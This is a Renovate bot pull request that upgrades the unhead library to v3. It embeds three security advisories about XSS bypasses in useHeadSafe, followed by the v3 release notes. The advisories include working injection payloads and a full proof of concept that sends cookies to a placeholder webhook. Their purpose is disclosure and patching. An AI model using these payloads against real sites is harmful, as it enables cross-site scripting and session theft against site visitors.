ReviewOS

also looking at this

stacks/projects

chore(deps): update dependency unhead to v3 [security] - autoclosed

#25
Closed renovate[bot] wants to merge renovate/npm-unhead-vulnerability into main
2 files +15 -3
9 days ago

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeAdoptionPassingConfidence
unhead (source)^1.11.20 → ^3.1.0ageadoptionpassingconfidence

Unhead has XSS bypass in useHeadSafe via attribute name injection and case-sensitive protocol check

CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv

More information

Details

Summary

useHeadSafe() can be bypassed to inject arbitrary HTML attributes, including event handlers, into SSR-rendered <head> tags. This is the composable that Nuxt docs recommend for safely handling user-generated content.

Details

XSS via data-* attribute name injection

The acceptDataAttrs function (safe.ts, line 16-20) allows any property key starting with data- through to the final HTML. It only checks the prefix, not whether the key contains spaces or other characters that break HTML attribute parsing.

function acceptDataAttrs(value: Record<string, string>) {
  return Object.fromEntries(
    Object.entries(value || {}).filter(([key]) => key === 'id' || key.startsWith('data-')),
  )
}

This result gets merged into every tag's props at line 114:

tag.props = { ...acceptDataAttrs(prev), ...next }

Then propsToString (propsToString.ts, line 26) interpolates property keys directly into the HTML string with no sanitization:

attrs += value === true ? ` ${key}` : ` ${key}="${encodeAttribute(value)}"`

A space in the key breaks out of the attribute name. Everything after the space becomes separate HTML attributes.

PoC

The most practical vector uses a link tag. <link rel="stylesheet"> fires onload once the stylesheet loads, giving reliable script execution:

useHeadSafe({
  link: [{
    rel: 'stylesheet',
    href: '/valid-stylesheet.css',
    'data-x onload=alert(document.domain) y': 'z'
  }]
})

SSR output:

<link data-x onload=alert(document.domain) y="z" rel="stylesheet" href="/valid-stylesheet.css">

The browser parses onload=alert(document.domain) as its own attribute. Once the stylesheet loads, the handler fires.

The same injection works on any tag type since acceptDataAttrs is applied to all of them at line 114. Here's the same thing on a meta tag (the injected attributes render, though onclick doesn't fire on non-interactive <meta> elements):

useHeadSafe({
  meta: [{
    name: 'description',
    content: 'legitimate content',
    'data-x onclick=alert(document.domain) y': 'z'
  }]
})
Realistic scenario

A Nuxt app accepts SEO metadata from a CMS or user profile. The developer uses useHeadSafe() as the docs recommend. An attacker puts a data-* key with spaces and an event handler into their input. The payload renders into the HTML on every page load.

Suggested fix

For vulnerability 1, validate that attribute names only contain characters legal in HTML attributes:

const SAFE_ATTR_RE = /^[a-zA-Z][a-zA-Z0-9\-]*$/

function acceptDataAttrs(value: Record<string, string>) {
  return Object.fromEntries(
    Object.entries(value || {}).filter(
      ([key]) => (key === 'id' || key.startsWith('data-')) && SAFE_ATTR_RE.test(key)
    ),
  )
}

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Unhead Vulnerable to Bypass of URI Scheme Sanitization in makeTagSafe via Case-Sensitivity

CVE-2026-31873 / GHSA-5339-hvwr-7582

More information

Details

The link.href check in makeTagSafe (safe.ts, line 68-71) uses String.includes(), which is case-sensitive:

if (key === 'href') {
  if (val.includes('javascript:') || val.includes('data:')) {
    return
  }
  next[key] = val
}

Browsers treat URI schemes case-insensitively. DATA:text/css,... is the same as data:text/css,... to the browser, but 'DATA:...'.includes('data:') returns false.

PoC
useHeadSafe({
  link: [{
    rel: 'stylesheet',
    href: 'DATA:text/css,body{display:none}'
  }]
})

SSR output:

<link rel="stylesheet" href="DATA:text/css,body{display:none}">

The browser loads this as a CSS stylesheet. An attacker can inject arbitrary CSS for UI redressing or data exfiltration via CSS attribute selectors with background-image callbacks.

Any case variation works: DATA:, Data:, dAtA:, JAVASCRIPT:, etc.

Suggested fix
if (key === 'href') {
  const lower = val.toLowerCase()
  if (lower.includes('javascript:') || lower.includes('data:')) {
    return
  }
  next[key] = val
}

Severity

  • CVSS Score: 0.0 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()

CVE-2026-39315 / GHSA-95h2-gj7x-gx9w

More information

Details

##EVIDENCE

Screenshot_2026-03-25_090729 Screenshot_2026-03-25_090715 Screenshot_2026-03-25_090759 Screenshot_2026-03-25_090824 Screenshot_2026-03-22_090617

| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 |


Summary

useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps:

// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g

The HTML5 specification imposes no limit on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of : (U+003A):

  • &#&#8203;0000000058; — 10 decimal digits, exceeds the \d{1,7} cap
  • &#x000003A; — 7 hex digits, exceeds the [0-9a-f]{1,6} cap

When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI.

Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the data-* prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.


Root Cause Analysis
Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g             // cap: 7 decimal digits max
Why the bypass works

The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode &#x000003A; as : regardless of the number of leading zeros.

Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (java&#&#8203;0000000058;script:alert(1)) is passed unchanged to the scheme check. startsWith('javascript:') returns false, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM.


Steps to Reproduce
Environment
  • Nuxt: 4.x (current)
  • unhead: 2.1.12 (current at time of report)
  • Node: 20 LTS
  • Chrome: 146+
Step 1 — Create a fresh Nuxt 4 project
npx nuxi init poc
cd poc
npm install
Step 2 — Replace pages/index.vue
<template>
  <div>
    <h1>useHeadSafe bypass PoC</h1>
    <p>View page source or run the curl command below.</p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'

useHeadSafe({
  link: [
    // 10-digit decimal padding — exceeds \d{1,7} cap
    { rel: 'stylesheet', href: 'java&#&#8203;0000000058;script:alert(1)' },

    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' }
  ]
})
</script>
Step 3 — Start the dev server and inspect SSR output
npm run dev

In a separate terminal:

curl -s http://localhost:3000 | grep '<link'
Expected result (safe)

Tags stripped entirely, or schemes rewritten to safe placeholder values.

Actual result (vulnerable)
<link href="java&#&#8203;0000000058;script:alert(1)" rel="stylesheet">
<link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon">

Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol() blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load.


Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Immediate script execution from <link> tags does not occur automatically — browsers do not create a browsing context from <link href>. The exploitability of this bypass therefore depends on whether downstream application code consumes <link> href values.

This is a common pattern in real-world Nuxt applications:

  • Head management libraries that hydrate or re-process <link> tags on the client
  • SEO and analytics scripts that read canonical or icon link values
  • Application features that preview, validate, or forward link URLs into iframes
  • Developer tooling that loads icon URLs for thumbnail generation

Chrome 146+ permits data: URIs loaded into iframes even though top-level data: navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards <link href> into an iframe — triggers confirmed script execution:

// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
  const iframe = document.createElement('iframe');
  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI
  document.body.appendChild(iframe); // alert() fires
}

Replace ADD-YOUR-WEBHOOK-URL-HERE with a webhook.site URL before running.

<template>
  <div>
    <h1>useHeadSafe padded entity bypass — full PoC</h1>
    <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'

onMounted(() => {
  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
  const el = document.getElementById('cookie-display')
  if (el) el.textContent = document.cookie

  // Simulate downstream consumption: load the bypassed icon href into an iframe
  const link = document.querySelector('link[rel="icon"]')
  if (link) {
    const iframe = document.createElement('iframe')
    iframe.src = link.href
    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
    document.body.appendChild(iframe)
  }
})

const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'

useHeadSafe({
  link: [
    {
      rel: 'icon',
      href: `data&#x000003A;text/html;base64,${btoa(`
        <!DOCTYPE html><html><body><script>
          alert('XSS via useHeadSafe padded entity bypass');
          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
            finding: 'useHeadSafe hasDangerousProtocol bypass',
            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
            origin: location.origin,
            ts: Date.now()
          }));
        <\/script></body></html>
      `)}`
    }
  ]
})
</script>

Observed result:

  1. alert() fires from inside the iframe's data: document context
  2. Webhook receives a GET request with the cookie value and origin in the query string
  3. Page source confirms &#x000003A; is present unescaped in the SSR-rendered <link> tag

All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.


Impact
1. Broken security contract

Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted user input have no reliable protection against javascript:, data:, or vbscript: scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated.

2. Confirmed data: URI escape to SSR output

A fully valid data:text/html URI now reaches server-rendered HTML. In applications where any downstream code reads and loads <link href> values (head management utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path.

3. Forward exploitability

If any navigation-context attribute (e.g. <a href>, <form action>) is added to the safe attribute whitelist in a future release, this bypass produces immediately exploitable stored XSS with no additional attacker effort, because the end-to-end bypass already works today.


Suggested Fix

Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint() function already validates that decoded codepoints fall within the valid Unicode range (> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs.

- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/g

File: packages/unhead/src/plugins/safe.ts, lines 10–11

This is a minimal, low-risk change. No other code in the call path requires modification.


Weaknesses
CWEDescription
CWE-184Incomplete List of Disallowed Inputs
CWE-116Improper Encoding or Escaping of Output
CWE-20Improper Input Validation

References
SourceLink
HTML5 spec — leading zeros valid and unboundedhttps://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state
GHSA-46fp-8f5p-pf2c — Loofah allowed_uri? bypass (same root cause, accepted CVE)https://github.com/advisories/GHSA-46fp-8f5p-pf2c
CVE-2026-26022 — Gogs stored XSS via data: URI sanitizer bypass (same class)https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/
OWASP XSS Filter Evasion — leading-zero entity encodinghttps://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Chrome: data: URIs blocked for top-level navigation since Chrome 60; permitted in iframeshttps://developer.chrome.com/blog/data-url-deprecations
Prior unhead advisory (different code path, context only)GHSA-g5xx-pwrp-g3fv / CVE-2026-31860
Affected filehttps://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

unjs/unhead (unhead)

v3.1.0

Compare Source

🛠️ Unhead CLI

To assist with migrations and overall DX a CLI has been introduced: @unhead/cli.

npx -y @&#8203;unhead/cli 

It lets you do the following:

          audit    Lint your codebase for unhead misuse, type-narrowing issues, and SEO/perf foot-guns.                      
        migrate    Apply autofixes for v2-to-v3 migration: rewrite deprecated props and wrap tag literals in defineX helpers.
  validate-html    Run the runtime ValidatePlugin over prerendered HTML files (e.g. dist/, .output/, build/).                
   validate-url    Fetch a rendered URL and run unhead\'s SEO/perf validation rules over its <head>.         

For example, try running audit on your own project for hints on how to improve your SEO.

:heavy_check_mark: Unhead ESLint

Knowing that your useHead() and useSeoMeta() code is right while your coding is important. While type-narrowing solves many broken cases, we introduce an ESLint plugin to help catch anything that the typechecker can't catch.

These rules are shared from the runtime ValidatePlugin


# flat-config ESLint plugin with v2→v3 migration autofixes
npm i -D @&#8203;unhead/eslint-plugin

```ts [eslint.config.ts]
import { configs } from '@&#8203;unhead/eslint-plugin'

export default [
  configs.recommended,
]

🌊 Streaming SSR non-Vite support

The streaming plugin lived only at unhead/stream/vite previously, leaving non-Vite users with no way to wire the bootstrap. The plugin is now a bundler-agnostic unplugin factory with first-class webpack and Vite entries, and the framework packages compose it behind Unhead({ streaming: true }).

// vite.config.ts
import { Unhead } from '@&#8203;unhead/vue/vite'
export default { plugins: [vue(), Unhead({ streaming: true })] }

// webpack.config.ts
import { Unhead } from '@&#8203;unhead/vue/bundler'
export default { plugins: [...Unhead({ streaming: true }).webpack()] }

Streaming also gains a nonce option (forwarded on every injected <script> for CSP support), a fixed async mode for production Vite builds (the IIFE is now emitted via this.emitFile() so the script src references a real hashed asset), a dev-mode warning when the client IIFE runs against an empty server queue, and a shared StreamingGlobal type so the server bootstrap, client, and injected IIFE agree on the shape of window.__unhead__. Default mode changed from async to inline for smaller TTFB.

Changelog

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.0.5

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.0

Compare Source

Unhead v3 rebuilds the rendering engine from the ground up. The motivation: streaming SSR. Frameworks like Nuxt, SolidStart, and SvelteKit stream HTML to the browser as data loads, but head tags were still stuck in a request/response model, resolved once and never updated. To fix this properly, we had to make rendering synchronous, pluggable, and side-effect free. The result is a faster, smaller, and more capable head manager.

📣 Highlights

🌊 Streaming SSR

Head tags now update dynamically as suspense boundaries resolve during streaming. As each chunk streams to the browser, new <title>, <meta>, and <link> tags are pushed to a client-side queue and applied to the DOM. No waiting for the full page to load.

// entry-server.ts
import { createStreamableHead } from '@&#8203;unhead/vue/stream/server'

const { head, wrapStream } = createStreamableHead()
app.use(head)

// wraps the Vue stream, injecting head updates as chunks resolve
return wrapStream(renderToWebStream(app), template)
// entry-client.ts
import { createStreamableHead } from '@&#8203;unhead/vue/stream/client'

const head = createStreamableHead()
app.use(head)

Under the hood: a queue stub (window.__unhead__) collects head entries as they stream in before the main JS bundle loads. Once the client head instance initializes, it processes the queue and takes over. No entries are ever lost regardless of timing.

Streaming is supported for Vue, React, Solid.js, Svelte, and vanilla TypeScript. See PR #​537.

🛠️ Unified Vite Plugin + DevTools

A single @unhead/{framework}/vite plugin replaces the old manual composition of @unhead/addons + streaming plugin + framework glue. One import, one call, and you get tree-shaking, useSeoMeta → useHead transform, inline minification, streaming SSR, dev-mode ValidatePlugin auto-injection, and Vite DevTools integration.

// vite.config.ts
import { Unhead } from '@&#8203;unhead/vue/vite'
import vue from '@&#8203;vitejs/plugin-vue'

export default defineConfig({
  plugins: [vue(), Unhead()],
})

The DevTools panel surfaces live head state during development: every useHead() / useSeoMeta() call with its source file and line number, resolved tags, SEO overview (title, description, canonical, Open Graph), useScript() load status, active plugins, template params, and warnings from the Validate plugin. Source tracing lets you click through from any tag back to the exact line that created it.

Available for Vue, React, Svelte, Solid, and vanilla via @unhead/bundler/vite (the renamed @unhead/addons package; the old name still works with a deprecation warning).

See PRs #​726, #​733, #​731.

🎯 useHead() Type Narrowing

useHead() now narrows types based on input. Link, script, and meta tags resolve to specific subtypes instead of a generic union, so you get precise autocomplete and type errors when something is wrong.

useHead({
  link: [
    // Narrows to StylesheetLink: requires href, offers media, integrity, etc.
    { rel: 'stylesheet', href: '/styles.css' },
    // Narrows to PreloadLink: requires as attribute
    { rel: 'preload', as: 'font', href: '/font.woff2', crossorigin: 'anonymous' },
  ],
  script: [
    // Narrows to ModuleScript
    { src: '/app.mjs', type: 'module' },
    // Narrows to JsonLdScript
    { type: 'application/ld+json', innerHTML: '{}' },
  ],
})

See PRs #​627, #​665, #​729.

✅ ValidatePlugin

New optional ValidatePlugin that inspects resolved head output and warns about common mistakes: missing titles, duplicate meta tags, contradictory preload priorities, render-blocking scripts, late <meta charset>, too many fetchpriority="high" hints, preconnect without crossorigin, and more. Also includes v2 migration rules that detect deprecated property names (children, hid/vmid, body: true), missing TemplateParamsPlugin, and missing AliasSortingPlugin — all of which cause silent breakage on upgrade. Auto-injected in dev by the unified Vite plugin so warnings surface in the browser console without any manual setup. Fully tree-shakeable. Rules use ESLint-style flat config:

import { ValidatePlugin } from 'unhead/plugins'

createHead({
  plugins: [
    ValidatePlugin({
      rules: {
        'missing-description': 'off',
      }
    })
  ]
})

See PRs #​690, #​691, #​716, #​722, #​725, #​732.

🔗 Canonical Plugin

New built-in CanonicalPlugin that auto-generates <link rel="canonical"> tags and resolves relative URLs to absolute in og:image, twitter:image, and og:url. Includes query parameter filtering (strips tracking params like utm_source, fbclid, gclid by default), trailing slash normalization, and automatic hash fragment stripping. Essential for SEO and social sharing.

import { CanonicalPlugin } from 'unhead/plugins'

createHead({
  plugins: [
    CanonicalPlugin({
      canonicalHost: 'https://mysite.com',
      trailingSlash: true,
      queryWhitelist: ['page', 'sort'],
    })
  ]
})

See PRs #​492, #​713.

🗜️ MinifyPlugin

New optional MinifyPlugin that minifies inline <script> and <style> tag content during SSR. Uses lightweight pure-JS minifiers with zero native dependencies, safe for edge and serverless runtimes. A companion build-time transform (MinifyTransform in @unhead/bundler) pre-minifies static innerHTML literals at compile time. Standalone utilities (minifyJS, minifyCSS, minifyJSON) are also available via unhead/minify.

import { MinifyPlugin } from 'unhead/plugins'

createHead({
  plugins: [MinifyPlugin()]
})

See PR #​705.

📦 Performance

Buildv3 sizev2 sizeDelta gz
client1025411513-534 (-11.2%)
server989410361-194 (-4.6%)
vueClient1132312567-533 (-10.2%)
vueServer1084911312-191 (-4.1%)
Benchmarkv2 meanv3 meanDelta
@​unhead/vue0.106ms0.072ms32% faster
core0.088ms0.073ms17% faster

Key optimizations:

  • Client-only CAPO sorting (#​626)
  • Pure, tree-shakeable core with no side effects (#​632)
  • Minified internal DOM state properties (#​635)
  • Migrated unplugins from estree-walker/acorn-loose to oxc-walker (#​663)
  • Walker-based transformHtmlTemplate (#​581)
  • TemplateParamsPlugin and AliasSortingPlugin made opt-in for smaller bundles (#​493, #​494)

📊 Schema.org

  • 12 new nodes: Dataset, MusicAlbum, MusicGroup, MusicPlaylist, MusicRecording, PodcastEpisode, PodcastSeason, PodcastSeries, Service, TVEpisode, TVSeason, TVSeries (#​612)
  • Graph resolution rewrite for correctness and performance (#​616)
  • Removed ohash and defu dependencies (#​605)

🔄 Other Changes

  • renderDOMHead() / renderSSRHead() are now fully synchronous, single-pass via a composable resolveTags() pipeline; the head instance exposes a pluggable render() function for framework integrations (#​619, #​622, #​628, #​629, #​630)
  • @unhead/react/helmet drop-in compat export for users migrating from react-helmet (#​719)
  • useHeadSafe() now whitelists CSS styles (#​491)
  • Support for blocking attribute on scripts and stylesheets (#​489)
  • useScript() consolidated back into core, legacy support dropped (#​498)
  • fediverse:creator meta tag support (#​703)
  • Switched from hookable to lighter HookableCore with sync-only hooks (#​631)
  • Deprecation warnings added to aliased packages (@unhead/schema, @unhead/shared) (#​678)
  • templateParams extensible via module augmentation (#​679)
  • Respect user-provided twitter:card in InferSeoMetaPlugin (#​681)
  • Enforce as attribute for preload links (#​683)
  • onRendered callback option on useHead() for synchronizing with DOM head updates (#​712)
  • tagWeight option on createHead() to override default CAPO tag weight function (#​716)

🐛 Bug Fixes

  • Hydration race condition with deferred patches (#​634)
  • Process pending patches even when dirty is false (#​636)
  • Deduplicate matching tags inside same render cycle (#​668)
  • Dedupe <link rel="alternate"> correctly (#​655, #​656, #​658)
  • React: dispose head entries on unmount in StrictMode (#​664)
  • React: force invalidation on entry disposal (#​559)
  • Vue: support computed getter trigger (#​638)
  • Vue: expose @unhead/vue/stream/iife with correct types (#​707)
  • Scripts: prevent scope disposal from aborting unrelated trigger (#​660)
  • Schema.org: allow null to opt out of default values (#​680)
  • Schema.org: normalize target to array before merging potentialAction (#​709)
  • Avoid mutating cached titleTemplate tag in resolveTitleTemplate (#​715)

⚠️ Breaking Changes

Synchronous rendering

renderDOMHead() and renderSSRHead() no longer return promises. Remove await.

Build plugins: @unhead/addons → @unhead/bundler (#​726, #​733)

The @unhead/addons package has been renamed to @unhead/bundler (the old name still works with a deprecation warning). Framework Vite plugins now use a named Unhead export and ship from each framework's /vite subpath:

- import unhead from '@&#8203;unhead/addons/vite'
+ import { Unhead } from '@&#8203;unhead/vue/vite'
// or @&#8203;unhead/react/vite, @&#8203;unhead/svelte/vite, @&#8203;unhead/solid-js/vite

  export default defineConfig({
-   plugins: [unhead()],
+   plugins: [Unhead()],
  })

Link and Script unions no longer fall back to GenericLink / GenericScript, so the type system enforces per-tag constraints (e.g. preload + as: 'font' requires crossorigin). Meta content is now required; use content: null explicitly to remove a meta tag. Custom rel / type values need satisfies GenericLink / satisfies GenericScript.

Dropped deprecations (#​624)
OldNew
childreninnerHTML
hid / vmidkey
body: truetagPosition: 'bodyClose'
useServerHead / useServerSeoMetauseHead / useSeoMeta
createHeadCorecreateUnhead
@unhead/vue/legacy@unhead/vue/client or @unhead/vue/server (legacy path still works with deprecation warning)
mode option on entriesUse client/server createHead imports
CJS removed (#​482)

All packages are ESM-only.

Plugins now opt-in

TemplateParamsPlugin and AliasSortingPlugin are no longer included by default. Import and register them explicitly if needed.

Hooks removed
  • init hook removed
  • dom:renderTag, dom:rendered hooks deprecated (will be removed in v4)
  • dom:beforeRender is now synchronous (no async handlers)
Type changes
RemovedReplacement
HeadHeadTag
MetaFlatInputMetaFlat
RuntimeModeRemoved
@unhead/schemaunhead/types
@unhead/sharedunhead
Schema.org
  • PluginSchemaOrg / SchemaOrgUnheadPlugin replaced with UnheadSchemaOrg
  • canonicalHost replaced with host, canonicalUrl replaced with host + path

🔧 Migration Tooling

Add ValidatePlugin during your upgrade to automatically detect v2 patterns:

import { ValidatePlugin } from 'unhead/plugins'
createHead({ plugins: [ValidatePlugin()] })

It will warn about missing plugins, deprecated properties, and other common migration issues. Remove it once migration is complete. If you use the unified Vite plugin, ValidatePlugin is auto-injected in dev so you don't have to wire it up manually. See PRs #​722, #​733.

📖 Migration Guide

See the full Migration Guide for detailed upgrade instructions.

Changelog

   🚨 Breaking Changes
   🚀 Features
   🐞 Bug Fixes

✂ Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

2 changed files on the files tab, with 0 review threads.

Sign in to comment on this pull request.